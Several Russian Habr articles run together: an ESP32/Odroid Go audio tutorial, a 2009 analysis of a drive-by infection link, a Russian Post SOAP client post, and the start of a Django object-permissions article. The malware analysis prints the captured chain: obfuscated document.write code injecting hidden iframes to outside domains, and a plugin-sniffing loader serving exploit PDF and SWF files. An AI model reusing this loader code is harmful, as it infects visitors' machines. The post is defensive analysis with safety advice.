Он рекомендует подключить **IN-** к заземлению, **IN+** — ко входному сигналу, а **/SD** — к сигналу включения/отключения. Если присутствует шум 0,005 В, то с **IN-** будет считываться **0V + 0.005V**, а с **IN+** — **VIN + 0.005V**. Входные сигналы нужно вычесть друг из друга и получить истинное значение сигнала (**VIN**) без шума.
Однако проектировщики Odroid Go не воспользовались рекомендуемой конфигурацией.
Ещё раз взглянув на схему Odroid Go, мы видим, что проектировщики подключили выход ЦАП к **IN-** и что тот же выход ЦАП подключён к **/SD**. **/SD** — это сигнал выключения с активным низким уровнем, поэтому для работы усилителя нужно задать высокий сигнал.
Это означает, что для использования усилителя мы должны использовать **IO25** не в качестве ЦАП, а как выход GPIO со всегда высоким сигналом. Однако при этом высокий сигнал задаётся на **IN-**, что не рекомендуется спецификацией усилителя (он должен быть заземлён). Затем мы должны использовать ЦАП, подключенный к **IO26**, поскольку наш выход I2S должен подаваться на **IN+**. Это значит, что мы не добьёмся нужного устранения шума, потому что **IN-** не подключен к заземлению. Из динамиков постоянно исходит мягкий шум.
Нам нужно обеспечить правильную конфигурацию драйвера I2S, потому что мы хотим использовать только ЦАП, подключенный к **IO26**. Если бы мы использовали ЦАП, подключенный к **IO25**, то он постоянно бы переключал сигнал выключения усилителя, и звук был бы ужасным.
В дополнение к этой странности при использовании 8-битного внутреннего ЦАП драйвер I2S в ESP32 требует, чтобы ему передавались 16-битные сэмплы, но отправляет 8-битному ЦАП только старший байт. Поэтому нам нужно взять наш 8-битный звук и вставить его в буфер вдвое большего размера, а буфер при этом будет наполовину пуст. Затем мы передаём его драйверу I2S и он передаёт ЦАП старший байт каждого сэмпла. К сожалению, это значит, что мы должны «платить» за 16 бит, но можем использовать только 8 бит.
Многозадачность
---------------
К сожалению, игра не может работать на одном ядре, как мне изначально хотелось, потому что в драйвере I2S, похоже, есть баг.
Драйвер I2S должен использовать DMA (как и драйвер SPI), то есть мы могли бы просто инициировать передачу I2S, а затем продолжить свою работу, пока драйвер I2S выполняет передачу аудиоданных.
Но вместо этого ЦП блокируется на время длительности звука, что для игры совершенно не подходит. Представьте, что вы нажимаете на кнопку прыжка, а затем спрайт игрока приостанавливает своё движение на 100 мс, пока воспроизводится звук прыжка.
Чтобы решить эту проблему, мы можем воспользоваться тем, что на борту ESP32 есть два ядра. Мы можем создать задачу (task) (т.е. поток) во втором ядре, которая будет заниматься воспроизведением звука. Благодаря этому мы сможем передавать указатель на буфер звука из основной задачи игры в звуковую задачу, а звуковая задача инициирует передачу I2S и заблокируется на время воспроизведения звука. Но основная задача на первом ядре (с обработкой ввода и рендерингом) продолжит выполнение без блокировки.
Иициализация
------------
Зная это, мы можем должным образом инициировать драйвер I2S. Для этого нужно всего несколько строк кода, но сложность заключается в том, чтобы выяснить, какие параметры надо задать для правильного воспроизведения звука.
```
static const gpio_num_t AUDIO_AMP_SD_PIN = GPIO_NUM_25;
static QueueHandle_t gQueue;
static void PlayTask(void *arg)
{
for(;;)
{
QueueData data;
if (xQueueReceive(gQueue, &data, 10))
{
size_t bytesWritten;
i2s_write(I2S_NUM_0, data.buffer, data.length, &bytesWritten, portMAX_DELAY);
i2s_zero_dma_buffer(I2S_NUM_0);
}
vTaskDelay(1 / portTICK_PERIOD_MS);
}
}
void Odroid_InitializeAudio(void)
{
// Configure the amplifier shutdown signal
{
gpio_config_t gpioConfig = {};
gpioConfig.mode = GPIO_MODE_OUTPUT;
gpioConfig.pin_bit_mask = 1ULL << AUDIO_AMP_SD_PIN;
ESP_ERROR_CHECK(gpio_config(&gpioConfig));
gpio_set_level(AUDIO_AMP_SD_PIN, 1);
}
// Configure the I2S driver
{
i2s_config_t i2sConfig= {};
i2sConfig.mode = I2S_MODE_MASTER | I2S_MODE_TX | I2S_MODE_DAC_BUILT_IN;
i2sConfig.sample_rate = 5012;
i2sConfig.bits_per_sample = I2S_BITS_PER_SAMPLE_16BIT;
i2sConfig.communication_format = I2S_COMM_FORMAT_I2S_MSB;
i2sConfig.channel_format = I2S_CHANNEL_FMT_ONLY_LEFT;
i2sConfig.dma_buf_count = 8;
i2sConfig.dma_buf_len = 64;
ESP_ERROR_CHECK(i2s_driver_install(I2S_NUM_0, &i2sConfig, 0, NULL));
ESP_ERROR_CHECK(i2s_set_dac_mode(I2S_DAC_CHANNEL_LEFT_EN));
}
// Create task for playing sounds so that our main task isn't blocked
{
gQueue = xQueueCreate(1, sizeof(QueueData));
assert(gQueue);
BaseType_t result = xTaskCreatePinnedToCore(&PlayTask, "I2S Task", 1024, NULL, 5, NULL, 1);
assert(result == pdPASS);
}
}
```
Сначала мы конфигурируем **IO25** (который подключен к сигналу выключения усилителя) как выход, чтобы он мог управлять усилителем звука, и подаём на него высокий сигнал, чтобы включить усилитель.
Далее мы конфигурируем и устанавливаем сам драйвер I2S. Я разберу каждую часть конфигурации построчно, потому что каждая из строк требует объяснений:
* mode
+ мы задаём драйвер в качестве мастера (управляющего шиной), передатчика (потому что мы передаём данные к получателям), и настраиваем его на использование встроенного 8-битного ЦАП (потому что на плате Odroid Go нет внешнего ЦАП).
* sample\_rate
+ Мы используем частоту сэмплирования 5012, потому что наименьшая возможная частота сэмплирования, который обеспечивает инструмент, используемый нами для генерации звуковых эффектов. Это достаточно мало, чтобы экономить место и время выполнения, но позволяет генерировать довольно хороший для простой игры диапазон частот. Исходя из теоремы Найквиста-Шеннона, с такой частотой сэмплирования мы можем воспроизводить частоты вплоть до 2500 Гц.
* bits\_per\_sample
+ как говорилось выше, внутренний ЦАП микроконтроллера ESP32 является 8-битным, но драйвер I2S требует, чтобы мы передавали ему по 16 бит на каждый сэмпл, и старшие 8 из них он передаёт ЦАП.
* communication\_format
+ в документации совершенно не объясняется этот параметр, но я подозреваю, что он как-то связан с тем, что наши 8-битные данные засовываются в старший байт 16-битного буфера.
* channel\_format
+ контакт GPIO, подключенный к сигналу **IN+** усилителя звука — это **IO26**, который при использовании внутренних ЦАП соответствует «левому» каналу драйвера I2S. Мы хотим, чтобы I2S выполнял запись только в этот канал, потому что правый канал соответствует **IO25**, который подключён к сигналу выключения усилителя, а мы нам не нужно постоянно включать и выключать его.
* dma\_buf\_count и dma\_buf\_len
+ это число DMA-буферов и длина (в сэмплах) каждого буфера, но я не нашёл подробной информации о том, как их задавать, поэтому использовал значения из примера в документации IDF. Когда я поменял их на другие значения, то заметил странные эффекты звука.
Затем мы создадим очередь — это способ, которым FreeRTOS пересылает данные между задачами. Мы помещаем данные в очередь одной задачи и извлекаем их из очереди другой задачи. Создадим struct под названием **QueueData**, объединяющую указатель на буфер звука и длину буфера в единую структуру, которую можно поместить в очередь.
Далее создаём задачу, выполняемую на втором ядре. Мы подключаем её к функции **PlayTask**, которая выполняет воспроизведение звука. Сама задача — это бесконечный цикл, который постоянно проверяет, есть ли в очереди какие-нибудь данные. Если они есть, она отправляет их драйверу I2S, чтобы их можно было воспроизвести. Она будет блокировать вызов **i2s\_write**, и это нас устраивает, потому что задача выполняется на отдельном от основного потока игры ядре.
Вызов **i2s\_zero\_dma\_buffer** требуется для того, чтобы после завершения воспроизведения не осталось звуков, воспроизводимых из динамиков. Не знаю, баг ли это драйвера I2S или ожидаемое поведение, но без него после завершения воспроизведения буфера звука динамик издаёт мусорный сигнал.
Воспроизведение звука
---------------------
```
void Odroid_PlayAudio(uint16_t* buffer, size_t length)
{
QueueData data = {};
data.buffer = buffer;
data.length = length;
xQueueSendToBack(gQueue, &data, portMAX_DELAY);
}
```
Благодаря тому, что вся настройка уже выполнена, сам вызов функции воспроизведения буфера звука чрезвычайно прост, ведь основная работа делается в другой задаче. Мы засовываем указатель на буфер и длину буфера в структуру **QueueData**, а затем помещаем её в очередь, используемую функцией **PlayTask**.
Из-за такой схемы работы один буфер звука должен завершить воспроизведение, прежде чем сможет начать второй буфер. Поэтому если одновременно происходят прыжок и стрельба, то первый звук будет воспроизводиться перед вторым, а не одновременно с ним.
Скорее всего, в будущем я буду микшировать разные звуки кадра в буфер звука, который передаётся драйверу I2S. Это позволит одновременно воспроизводить несколько звуков.
Demo
----
Мы сгенерируем собственные звуковые эффекты при помощи [jsfxr](http://github.grumdrig.com/jsfxr/) — инструмента, специально предназначенного для генерации того типа игровых звуков, который нам нужен. Мы можем напрямую задать частоту сэмплирования и битовую глубину, а затем вывести файл WAV.
Я создал простой звуковой эффект прыжка, который напоминает звук прыжка Марио. Он имеет частоту сэмплирования 5012 (как мы и сконфигурировали во время инициализации) и битовую глубину 8 (потому что ЦАП 8-битный).
<https://austinmorlan.com/posts/embedded_game_programming_6/media/jump.wav>
Вместо парсинга файла WAV непосредственно в коде, мы сделаем нечто подобное тому, что мы делали для загрузки спрайта в демо Части 4: при помощи шестнадцатеричного редактора удалим из файла заголовок WAV. Благодаря этому считываемый с SD-карты файл будет только сырыми данными. Также мы не будем считывать длительность звука, пропишем его в коде. В будущем мы будем загружать звуковые ресурсы иначе, но для демо этого достаточно.
Сырой файл можно скачать [отсюда](https://austinmorlan.com/posts/embedded_game_programming_6/media/jump).
```
// Load sound effect
uint16_t* soundBuffer;
int soundEffectLength = 1441;
{
FILE* soundFile = fopen("/sdcard/jump", "r");
assert(soundFile);
uint8_t* soundEffect = malloc(soundEffectLength);
assert(soundEffect);
soundBuffer = malloc(soundEffectLength*2);
assert(soundBuffer);
fread(soundEffect, soundEffectLength, 1, soundFile);
for (int i = 0; i < soundEffectLength; ++i)
{
// 16 bits required but only MSB is actually sent to the DAC
soundBuffer[i] = (soundEffect[i] << 8u);
}
}
```
Мы загружаем 8-битные данные в 8-битный буфер **soundEffect**, а затем копируем эти данные в 16-битный буфер **soundBuffer**, где данные будут храниться в старших восьми битах. Повторюсь — это необходимо из-за особенностей реализации IDF.
Создав 16-битный буфер, мы можем воспроизводить звук нажатием кнопки. Логично будет использовать для этого кнопку громкости.
```
int lastState = 0;
for (;;)
{
[...]
int thisState = input.volume;
if ((thisState == 1) && (thisState != lastState))
{
Odroid_PlayAudio(soundBuffer, soundEffectLength*2);
}
lastState = thisState;
[...]
}
```
Мы отслеживаем состояние кнопки, чтобы случайно при одном нажатии кнопки не вызвать случайно **Odroid\_PlayAudio** несколько раз.
Your browser does not support HTML5 video.
Исходный код
------------
Весь исходный код находится [здесь](https://code.austinmorlan.com/austin/embedded-game-programming).
Ссылки
------
* [Odroid Go Schematic](https://github.com/hardkernel/ODROID-GO/blob/master/Documents/ODROID-GO_REV0.1_20180518.pdf)
* [Audio Amplifier Datasheet](https://www.diodes.com/assets/Datasheets/PAM8304.pdf)
* [ESP-IDF Documentation: DAC](https://docs.espressif.com/projects/esp-idf/en/v4.0/api-reference/peripherals/dac.html)
* [ESP-IDF Documentation: I2S](https://docs.espressif.com/projects/esp-idf/en/v4.0/api-reference/peripherals/i2s.html)
* [WAVE File Format](http://soundfile.sapp.org/doc/WaveFormat/)
* [Video: Bit Depth Explanation](https://www.youtube.com/watch?v=ubCMI3Jq6e4)
* [Video: Sample Rate Explanation](https://www.youtube.com/watch?v=fZzMXdxbOes) | https://habr.com/ru/post/503876/ | null | ru | null |
# Новый-старый pdf exploit
*p.s.2: В этом топике вируса нет, хотя „Авасту“ может казаться иначе (спасибо [edio](https://habrahabr.ru/users/edio/))*
Всё началось с невинного сообщения в icq от моей хорошей знакомой:
> 31.07.2009 18:45:11 *xyz*: смотри hxxp://watnhome.com/images/car.gif :)
Вроде ничего подозрительного. Ну ладно, думаю, зайду. Там рендер BMW какой-то. В общем, довольно приятный. Картинка уже загрузилась, а индикатор загрузки страницы всё не заканчивался… это сработало для меня как тревожный звоночек. Я тут же ткнул Esc, после чего Огнелис остановил загрузку в закладке. С мыслью, что тут надо разобраться, я (с чего-то) решил посмотреть исходный код картинки. По идее, там должна была быть какая-то ерунда, как в любом gif-jpeg изображении, НО! Реальность оказалась горазно интереснее. Итак, смотрим в браузере исходник картинки:
> `view-source:hxxp://watnhome.com/images/car.gif`
Ого! Да это же совсем и не картинка ни разу.
> `<img src="WorleyVision5.jpg">
>
> <script type="text/javascript" src="js.js">script>`
Так-так, интересно, что в яваскрипте?
Смотрим!
> `view-source:hxxp://watnhome.com/images/js.js`
Там оказывается лёгкая ерунда:
> `document.write('\u003c\u0069\u0066\u0072\u0061\u006d\u0065\u0020\u0073\u0072\u0063\u003d\u0022\u0068\u0074\u0074\u0070\u003a\u002f\u002f\u006c\u0069\u0073\u0074\u0065\u006e\u007a\u002e\u006f\u0072\u0067\u002f\u0073\u0074\u0061\u0074\u0073\u002f\u0072\u0075\u0031\u002e\u0070\u0068\u0070\u0022\u0020\u0073\u0074\u0079\u006c\u0065\u003d\u0022\u0064\u0069\u0073\u0070\u006c\u0061\u0079\u003a\u006e\u006f\u006e\u0065\u0022\u003e\u003c\u002f\u0069\u0066\u0072\u0061\u006d\u0065\u003e')`
Или, переводя в более читабельный вид…
> `document.write('')`
Редирект. Хорошо, не привыкать, идём по цепочке дальше:
> `view-source:hxxp://listenz.org/stats/ru1.php`
Ага, привет от того же автора:
> `"text/javascript"</font>><font color="#0000ff">document</font>.write(<font color="#A31515">'\u003c\u0069\u0066\u0072\u0061\u006d\u0065\u0020\u0073\u0072\u0063\u003d\u0022\u0068\u0074\u0074\u0070\u003a\u002f\u002f\u0076\u0065\u0072\u0069\u0076\u0065\u006c\u006c\u002e\u0063\u006f\u006d\u002f\u0075\u0070\u0064\u002f\u0069\u006e\u0064\u0065\u0078\u002e\u0070\u0068\u0070\u0022\u0020\u0073\u0074\u0079\u006c\u0065\u003d\u0022\u0064\u0069\u0073\u0070\u006c\u0061\u0079\u003a\u006e\u006f\u006e\u0065\u0022\u003e\u003c\u002f\u0069\u0066\u0072\u0061\u006d\u0065\u003e'</font>)`
или, чуть более читабельно…
> `"text/javascript"</font>><font color="#0000ff">document</font>.write(<font color="#A31515">'<iframe src="hxxp://verivell.com/upd/index.php" style="display:none"></iframe>'</font>)`
Это и есть конец зловредной цепочки:
> `view-source:hxxp://verivell.com/upd/index.php`
> `<br/>
> <font color="#0000ff">function</font> PDF\_SWF\_Iframe(sCn)<br/>
> {<br/>
> <font color="#0000ff">document</font>.write(sCn);<br/>
> }<br/>
> <br/>
> <font color="#0000ff">if</font>(navigator.userAgent.indexOf(<font color="#A31515">'MSIE'</font>) != -1)<br/>
> {<br/>
> PDF = <font color="#0000ff">new</font> Array(<font color="#A31515">'AcroPDF.PDF'</font>, <font color="#A31515">'PDF.PdfCtrl'</font>);<br/>
> <font color="#0000ff">for</font>(i <font color="#0000ff">in</font> PDF)<br/>
> {<br/>
> <font color="#0000ff">try</font><br/>
> {<br/>
> obj = <font color="#0000ff">new</font> ActiveXObject(PDF[i]);<br/>
> <br/>
> <font color="#0000ff">if</font> (obj)<br/>
> {<br/>
> PDF\_SWF\_Iframe(<font color="#A31515">'<iframe src=evenLike.pdf></iframe>'</font>);<br/>
> }<br/>
> }<br/>
> <br/>
> <font color="#0000ff">catch</font>(e){}<br/>
> }<br/>
> <br/>
> <font color="#0000ff">try</font><br/>
> {<br/>
> obj = <font color="#0000ff">new</font> ActiveXObject(<font color="#A31515">'ShockwaveFlash.ShockwaveFlash'</font>);<br/>
> <br/>
> <font color="#0000ff">if</font> (obj)<br/>
> {<br/>
> PDF\_SWF\_Iframe(<font color="#A31515">'<iframe src=normalDummyBelief.swf></iframe>'</font>);<br/>
> }<br/>
> }<br/>
> <font color="#0000ff">catch</font>(e){}<br/>
> }<br/>
> <br/>
> <font color="#0000ff">else</font><br/>
> {<br/>
> <font color="#0000ff">for</font>(i = 0; i <= navigator.plugins.length; i++)<br/>
> {<br/>
> <font color="#0000ff">var</font> plugin = navigator.plugins[i].name;<br/>
> <br/>
> <font color="#0000ff">if</font>((plugin.indexOf(<font color="#A31515">'Adobe Acrobat'</font>) != -1) || (plugin.indexOf(<font color="#A31515">'Adobe PDF'</font>) != -1))<br/>
> {<br/>
> PDF\_SWF\_Iframe(<font color="#A31515">'<iframe src=evenLike.pdf></iframe>'</font>);<br/>
> }<br/>
> <br/>
> <font color="#0000ff">if</font>(plugin.indexOf(<font color="#A31515">'Flash'</font>) != -1)<br/>
> {<br/>
> PDF\_SWF\_Iframe(<font color="#A31515">'<iframe src=normalDummyBelief.swf></iframe>'</font>);<br/>
> }<br/>
> }<br/>
> }<br/>
>
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
То есть, добро пожаловать на компьютер pdf *(evenLike.pdf — инфицирован Exploit.Win32.Pidief.bfz)* и swf, наши самые любимые друзья. Я уже не стал разбирать дальше: эти скрипт и документы эксплуатируют [свежую июльскую](http://secunia.com/advisories/35948/ "Secunia Advisory: SA35948") уязвимость ([топик на Хабре](http://habrahabr.ru/blogs/infosecurity/65272/)), [февральскую](http://secunia.com/advisories/33901/ "Secunia Advisory: SA33901"), а может быть и более старую. Если помните, одно время по сети ходила ссылка на «вирусный ролик» на сайте Альфастраха, который, как [оказалось, был вирусным без кавычек](http://www.securitylab.ru/news/363717.php), потому что сажал на компьютер пользователя Trojan-Spy.Win32.Zbot.gkj.
Хотите поиграться? Вы легко можете скачать себе эти документы, и посмотреть, что каждый из них творит. Если этого недостаточно, то есть [другой «пример»](http://www.milw0rm.com/exploits/9233), но автор предупреждает, что ‘This virus is srs business!‘ («этот вирус – нешуточное дело»).
Так что совместно с [сайтом TechBytesDaily](http://techbytesdaily.com/2009/07/23/disable-pdf-browser-integration-to-mitigate-adobe-security-flaws/) я призываю вас отключить показ pdf в окне браузера, как бы удобно это ни казалось. Всегда сохранять pdf документы, и по возможности, пользоваться бесплатыми не столь дырявыми аналогами Адоби Акробата (как Foxit Reader, Sumatra PDF). К сожалению, плагин от Адоби не фильтрует достаточным образом получаемый контент перед тем, как отдать показать его пользователю в браузере.
И ещё раз о безопасности: будьте внимательны к непонятным сообщениям даже от хорошо знакомых людей, особенно если в нём есть ссылка на неизвестный ресурс и нет личного комментария от автора.
**p.s.** В ссылках http на hxxp исправлено мной специально. | https://habr.com/ru/post/65927/ | null | ru | null |
# Клиент для SOAP API Почты России на Python
В процессе работы над текущими проектами возникла ситуация когда «вдруг» перестал парситься сайт трекингов Почты России. В интернетах даже немного побурлили по поводу «ужасной» новой защиты и т.п. В тех же интернетах всплыла тогда информация, что у Почты России имеется-таки API. Не совсем человеческий (т.е. по протоколу SOAP) но какой-никакой существует и кто-то им даже, якобы, пользуется. Я сообщил шефу, шеф написал письмо на Почту России (электронное, на удивление) и оказалось — да. Всё это действительно есть и вроде бы даже работает. Видимо создали сервис ещё [тогда](http://habrahabr.ru/post/127984/).
Под катом будет линк на рабочий класс клиента (на **python**) к API Почты России и немного подробностей работы с ним.
##### Для кого
Итак, вы отслеживаете множество отправлений и конечно справились с текущей проблемой парсинга страницы выдачи трекинга сайта Почты России (далее «почты») но логично предполагаете, что поползновение это было не последнее и в следующий раз может быть хуже. Что же делать? Как обезопасить будущее своего сервиса/компании?
Вы уже догадались, но я скажу вслух — Нужно подключиться к API!
Тут начинается самое интересное. Сервис этот доступен далеко не всем, но если у Вас (компании) есть договор с почтой, то шансы получить заветный доступ очень большие. В регламенте сервиса, который высылают счастливым подключенцам, эти самые подключенцы именуются «федеральным клиентом». Тут не знаю — то ли это особенный статус, то ли так обзывают всех у кого есть договор с почтой…
##### Как получить доступ
В общем берите мыло (желательно поэлектроннее) и в свободной форме пишите на [fc@russianpost.ru](mailto:fc@russianpost.ru), кто Вы, что Вам нужен «доступ к отслеживанию статусов РПО по SOAP протоколу» и для чего это Вам надо. За это Вам пришлют регламент, в котором будет анкета, которую нужно заполнить, ~~в доме который построил Джек~~ подписать руководителем и проштамповать печатью вашей конторы и заслать, в виде скана, взад.
После этого Вам дадут… логин и пароль (которые не активируют пока Вы не пожалуетесь, что ничего не пашет, ну или это нам только так не повезло…).
##### Как работать
Вот и пришло время перейти в атаку. Форкаете/клонируете:
`git://github.com/qnub/ru-post-soap-client.git`
Настраиваете (или не настраиваете [см. readme](https://github.com/qnub/ru-post-soap-client)). И понеслась
```
from time import sleep
from client import RuPostClient
client = RuPostClient()
tickets = client.make_ticket(all_my_track_numbers)
sleep(900)
track_statuses = client.get_tracks(tickets.keys())
```
Ну или типа того — дальше по тому же readme.
##### Нюансы
Согласно регламенту запросы данных по одному и тому же тикету можно делать не чаще одного раза в 15 минут и не ранее чем через 15 минут после его создания.
В тикете нельзя запрашивать данные более чем на 3000 (три тысячи) треков за раз (в одном тикете). Тут смотрите сами. Нам, к примеру, хватает по 100 треков, т.к. по каждому треку приходит не мало данных в итоге в зависимости от условий это может кому-то нагрузить систему…
Если Вы ввели авторизационные данные правильно, а вам приходит ошибка 16 «Внутренняя ошибка работы сервиса обмена данными» — проверьте нет правильно ли введены трекинг-номера (почистите от спецсимволов и т.п.). Если не помогло — пишите письмо всё по тому же адресу и требуйте проверить чего у них не так. Нам в итоге просто сказали, что ошибка исправлена и всё. Что было — мне не известно, но помогло…
##### Спасибы
Спасибо шефу, что разрешил поделиться с вами этим кодом. Сама технология отработана за его счёт, ну а выделил её в класс я уже за свой.
Приятного использования ([судя по всему](http://habrahabr.ru/qa/23557/) ещё паре человек это интересно). Форки, пулл реквесты, багрепорты — всё по классической программе гитхаба ([ссылка](https://github.com/qnub/ru-post-soap-client) ещё раз, чтоб не искать). | https://habr.com/ru/post/151152/ | null | ru | null |
# Гибкая система управления доступом на уровне объектов-записей
Привет всем!
В проектах, основанных на Джанго, часто хочется использовать гибкое управление доступом на уровне записей (объектов), когда разные пользователи имеют, или наоборот, не имеют доступ к отдельным объектам в рамках одной и той же модели.
Я хочу рассказать, какая именно политика доступа к данным требовалась в нашем проекте, почему не нашлось подходящей готовой системы и как появилась новая система управления доступом на уровне записей.
Для наиболее дотошных, далее приведены детали устройства системы, ее внутренней логики и порядка обращения с ней.
Для тех, кому не терпится
=========================
[Проект Django-Access](https://github.com/nnseva/django-access)
Существующие системы
====================
Для Джанги уже есть несколько систем управления доступом на уровне записей. Наиболее известны и стабильны такие системы, как [Django-Guardian](http://django-guardian.readthedocs.io/) и [Django-Authority](http://django-authority.readthedocs.io/en/latest/).
Django-Guardian
---------------
Первая из систем, [Django-Guardian](http://django-guardian.readthedocs.io/), требует создания нетипизированных отношений (то есть записей в БД) между пользователем и объектом, с которым пользователь может взаимодействовать. Каждая пара пользователя и объекта требует такой отдельной записи о правах. Количество этих записей в базе будет исчисляться, как произведение количества пользователей и объектов, права доступа к которым регулируются в такой системе.
Легко понять, что в случае неограниченно большого количества пользователей и объектов управления в базе проекта, количество записей о правах будет расти довольно быстро. Также, управление удалением этих записей при удалении пользователей, групповое изменение записей о правах в случае изменения области доступа пользователя или перемещения объекта из области видимости одного пользователя в область видимости другого, сделало использование [Django-Guardian](http://django-guardian.readthedocs.io/) в нашем проекте маловероятным.
Django-Authority
----------------
Вторая система, [Django-Authority](http://django-authority.readthedocs.io/en/latest/), пытается решить проблему первой, устанавливая взаимосвязь между пользователем и управляемым объектом посредством общих тегов. Каждый такой тег — это запись в таблице тегов, связанная с пользователем или объектом управления. Если теги с одним и тем же именем связаны с конкретным пользователем и конкретным объектом, мы считаем, что этот пользователь имеет доступ к этому объекту управления.
Количество записей о тегах в таком случае, будет существенно меньше и пропорционально сумме количества пользователей и объектов, что приемлемо. Однако, в такой системе придется вести весьма неординарную систему именования тегов. Практически, каждое такое имя будет соответствовать некоторой "области действия" (видимости например). Все объекты, принадлежащие к этой области действия, будут иметь соответствующий тег, так же как и пользователи, имеющие доступ к этой области.
Проблема производительности, принципиально не решаемая в Django-Guardian, вполне сносно решена в Django-Authority.
К сожалению, развитие этой системы приостановилось уже давно. Интеграции с админкой, контролирующей доступ согласно установленным отношениям, в ней так и нет. Мы хотели развивать интерфейс приложения на основе админки, но используя эту систему, нам все равно пришлось бы править админку так или иначе.
Раз уж все равно придется править админку, почему бы не сделать свою собственную систему управления доступом?
Что требуется от новой системы
==============================
Какие права нужно распределять
------------------------------
Первоначально, наша система была ориентирована только на определение видимости объектов, разделяя их множество "по горизонтали". Права управления объектами, попавшими в зону видимости, распределялись согласно традиционной системе прав в Джанге, в соответствие с их моделями (типами) — "по вертикали".
Такое разделение работало до определенного момента вполне приемлемо, однако когда потребовалось распределять доступ "перекрестно", обнаружилось, что наша система слишком груба. Действительно. Пусть мы распределяем доступ к объектам пользователей. Пользователь — админ своей группы, вполне может отредактировать и даже удалить запись о пользователе из этой группы. С другой стороны, мы бы хотели, чтобы пользователи, которые являются админами своих групп, могли быть рядовыми пользователями других групп. Однако, админ имеет одинаковый доступ к записям, как только видит их, не важно, в какой группе.
Таким образом, стало ясно, что "по горизонтали" нужно управлять не только видимостью объектов, но и всем спектром операций, производимых над ними. Традиционно, определено 4 вида наиболее популярных и общеупотребительных действий над объектами, объединенных иногда аббревиатурой CRUD (Create, Read, Update, Delete):
* создавать
* видеть
* изменять
* удалять
Множества, над которыми определены права
----------------------------------------
Нам требуется регулирование разрешений на некоторые действия над подмножествами объектов. Наиболее естественный и эффективный способ манипулировать конкретными подмножествами объектов в Джанге — это использовать `QuerySet`. Мы будем использовать его везде, где нам потребуется иметь дело с конкретным подмножеством объектов.
Тем не менее, `QuerySet` не описывает один из вариантов множеств, который нам потребуется: множество всех объектов данной модели, *включая все прошлые и будущие объекты*. Фактически, это множество определяется самой моделью, и это единственная разновидность множеств, над которой определены "традиционные" права Джанго. В самом деле: допустим, что мы проверяем права доступа на основе `QuerySet`. Получив пустой `QuerySet`, мы не можем быть уверены, нет ли в нем объектов из за того, что у нас недостаточно прав, чтобы видеть хоть какие-нибудь объекты, или из за того, что в базе пока не образовалось таких объектов, которые мы могли бы увидеть.
Таким образом, мы будем определять множество объектов, над которыми определены права, либо с помощью `QuerySet`, определяя конкретное множество объектов, либо с помощью модели, имея в виду все объекты этой модели, когда-либо существовавшие, или созданные в будущем.
Что придется изменить
---------------------
### Админка
Собственно, все вышесказанное нужно применить к админке. Она должна показывать нам список видимых объектов, разрешая и запрещая их добавлять, редактировать или удалять в зависимости от установленных прав.
Для того, чтобы поменять поведение уже существующих админок, придется сделать так, чтобы вместо (или дополнительно к) части из их методов, вызывался код, учитывающий ограничения и разрешения, накладываемые новой системой управления доступом. Лучше всего это делается с применением шаблона программирования *Mixin*, определяя класс, который находясь в начале списка базовых классов, перехватывает вызов метода у других базовых классов.
### Традиционная система *Permission*
Мы все равно должны определять права не только над подмножествами, определяемыми `QuerySet`, но и над множеством всех объектов данного типа, определяемым моделью как таковой. Поэтому мы определим "традиционную" модель прав Джанги, основанную на объектах *Permission*, как одну из *возможных*, которая может быть использована (а может и не быть использована) в проекте.
Где должны быть описаны права
-----------------------------
Поначалу кажется, что наилучшим местом для размещения информации о способе распределения прав, является модель. Наша старая система использовала для этого менеджер объектов, ту штуку в Джанге, которая служит для доступа к объектам модели и может быть переопределена, если вставить ее в определение класса модели (свойство *objects*).
Однако у такого способа, как выяснилось, есть ряд недостатков.
Во-первых, способ доступа к объекту модели — это свойство не *приложения* Джанго (подсистемы, которая часто используется в неизменном виде из установленного пакета), а *проекта* в целом. Если одно и то же приложение (пакет) используется в разных проектах, весьма вероятно, что доступ к объектам моделей этого приложения будет определен в этих проектах по разному.
Во-вторых, определение правил доступа может (и чаще всего будет) пересекать границы нескольких приложений (например *auth*). Будучи описанным в одном из них, определение может потребовать ненужной связи с другим приложением (пакетом).
Таким образом, проект должен иметь свой, не зависящий от отдельных приложений, реестр правил доступа к разным объектам своих приложений (пакетов). Этот реестр может заполняться структурированно из разных модулей, импортируемых по мере использования моделей. Такой реестр будет содержать определение правил доступа не только для собственных моделей, но и моделей, импортированных из всех приложений (пакетов), задействованных в проекте.
Как описывать права
-------------------
Неудачное, чересчур узкое, решение этой задачи привело к ненужным ограничениям в существующих пакетах.
В отличие от других пакетов, мы будем описывать права не с помощью каких-то специальных, предназначенных только для этой цели, моделей, а динамически, с помощью *кода*, применяемого к уже существующим в проекте моделям и запросам к ним.
К счастью, код может быть расположен не только в методе или функции, но и в лямбда-выражении. Мы воспользуемся этим способом для описания наиболее очевидных, простых и часто используемых правил ограничения доступа.
Контекст выполнения правил ограничения доступа
----------------------------------------------
Обычно, ограничение доступа производится относительно "текущего" пользователя. Не следует забывать однако, что текущий пользователь может быть не единственным элементом контекста, для которого ограничивается доступ. Вполне может быть, что на получение доступа повлияет "текущее предприятие", выбранная страна, язык или любые другие факторы, актуальные в момент принятия решения о предоставлении доступа.
Поэтому наш код, определяющий правила доступа, будет получать в качестве контекста ограничения доступа, весь запрос (*Request*). Что именно из этого контекста является субъектом ограничений, должен решать сам этот код.
Структура классов системы
=========================
Менеджер доступа
----------------
Центральным классом, определяющим функционал системы, является менеджер доступа — класс `managers.AccessManager`. С одной стороны, он позволяет зарегистрировать объекты плагинов, определяющие правила ограничения доступа для различных объектов, а с другой стороны, объекты этого класса используются для выполнения операций по определению прав относительно объектов и множеств, когда такое определение требуется в программе.
Создание правил ограничения доступа
-----------------------------------
Правила ограничения доступа создаются путем конструирования и регистрации объектов плагинов.
Методы класса менеджера `register/unregister_plugin(s)` позволяют манипулировать реестром плагинов. В реестр добавляется не более одного плагина для одного класса модели. Метод `register_plugins` получает словарь, в котором ключами служат модели, а `register_plugin` получает класс модели и объект плагина как отдельные параметры.
Вспомогательный метод класса менеджера `get_default_plugin`возвращает зарегистрированный плагин по умолчанию, а `plugin_for` ищет плагин, зарегистрированный для переданного класса модели. При поиске плагина для модели, учитывается наследование, но из поиска исключаются классы, не являющиеся моделью. Если плагин для модели не найден, возвращается плагин по умолчанию.
Предопределенные классы плагинов в модуле `plugins` включают в себя `CompoundPlugin` для комбинирования других плагинов, плагины для динамического определения правил ограничения доступа `ApplyAblePlugin` и `CheckAblePlugin`, а также `DjangoAccessPlugin`, реализующий правила ограничения доступа, подобные традиционным, основанные на анализе объектов `django.contrib.auth.Permission`.
